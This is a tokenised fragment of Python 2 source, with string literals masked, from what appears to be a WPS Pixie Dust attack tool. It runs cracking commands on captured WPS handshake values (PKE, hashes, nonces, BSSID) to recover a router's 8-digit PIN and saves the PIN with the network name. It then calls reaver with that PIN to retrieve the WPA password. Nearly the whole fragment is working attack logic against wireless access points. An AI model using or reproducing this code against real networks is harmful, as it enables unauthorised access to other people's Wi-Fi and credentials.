'<STR_LIT>' , PKE , '<STR_LIT>' , HASH1 , '<STR_LIT>' , HASH2 , '<STR_LIT>' , AUTHKEY , '<STR_LIT>' , E_NONCE , '<STR_LIT>' ] <EOL> cmd2 = [ '<STR_LIT>' , '<STR_LIT>' , PKE , '<STR_LIT>' , HASH1 , '<STR_LIT>' , HASH2 , '<STR_LIT>' , E_NONCE , '<STR_LIT>' , R_NONCE , '<STR_LIT>' , BSSID , '<STR_LIT>' ] <EOL> pin = '<STR_LIT>' <EOL> cmd_list = [ cmd , cmd1 , cmd2 ] <EOL> output = [ ] <EOL> for command in cmd_list : <EOL> try : <EOL> output = subprocess . check_output ( command ) <EOL> output = output . strip ( ) . split ( '<STR_LIT:\n>' ) <EOL> for linea in output : <EOL> if '<STR_LIT>' in linea : <EOL> result = compile ( '<STR_LIT>' ) <EOL> pin = result . search ( linea ) . group ( <NUM_LIT:0> ) <EOL> break <EOL> else : <EOL> pass <EOL> except : <EOL> pass <EOL> if pin != '<STR_LIT>' : break <EOL> if pin != '<STR_LIT>' and len ( pin ) == <NUM_LIT:8> : <EOL> print INFO + "<STR_LIT>" <EOL> print "<STR_LIT:\t>" + INPUT + pin <EOL> for_file . append ( '<STR_LIT>' + pin + '<STR_LIT:\n>' ) <EOL> system ( '<STR_LIT>' ) <EOL> with open ( '<STR_LIT>' , '<STR_LIT>' ) as f : <EOL> f . write ( ESSID + '<STR_LIT:\n>' ) <EOL> f . write ( pin ) <EOL> elif pin == '<STR_LIT>' : <EOL> print <EOL> print ALERTA + "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print <EOL> if GET_PASSWORD and pin != '<STR_LIT>' : <EOL> self . get_password ( for_file , BSSID , pin , canal ) <EOL> elif OUTPUT : <EOL> for_file . append ( '<STR_LIT:->' * <NUM_LIT> + '<STR_LIT:\n>' ) <EOL> c . data_file ( for_file ) <EOL> def get_password ( self , for_file , BSSID , pin , canal ) : <EOL> """<STR_LIT>""" <EOL> output = engine . run ( cmd = [ '<STR_LIT>' , '<STR_LIT>' , c . IFACE_MON , '<STR_LIT>' , BSSID , '<STR_LIT:-c>' , canal , '<STR_LIT>' , pin , '<STR_LIT>' ] , timeout = ( REAVER_TIME + <NUM_LIT:4> ) ) <EOL> password = engine . parse_reaver ( output , pin_encontrado = True ) <EOL> if password == '<STR_LIT>' : <EOL> print <EOL> print ALERTA + "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print <EOL> else : <EOL> print INFO + "<STR_LIT>" <EOL> print '<STR_LIT:\t>' + INPUT + password . strip ( ) <EOL> if OUTPUT : <EOL> for_file . append ( '<STR_LIT>' + password + '<STR_LIT:\n>' + '<STR_LIT:->' * <NUM_LIT> + '<STR_LIT:\n>' ) <EOL> c . data_file ( for_file ) <EOL> if __name__ == '<STR_LIT:__main__>' : <EOL> arg_parser ( ) <EOL> banner ( ) <EOL> try : <EOL> c = Config ( ) <EOL> engine = Engine ( ) <EOL> engine . check ( ) <EOL> except KeyboardInterrupt , EOFError : <EOL> print <EOL> print ALERTA + "<STR_LIT>" <EOL> print <EOL> engine . exit_limpio ( ) </s>
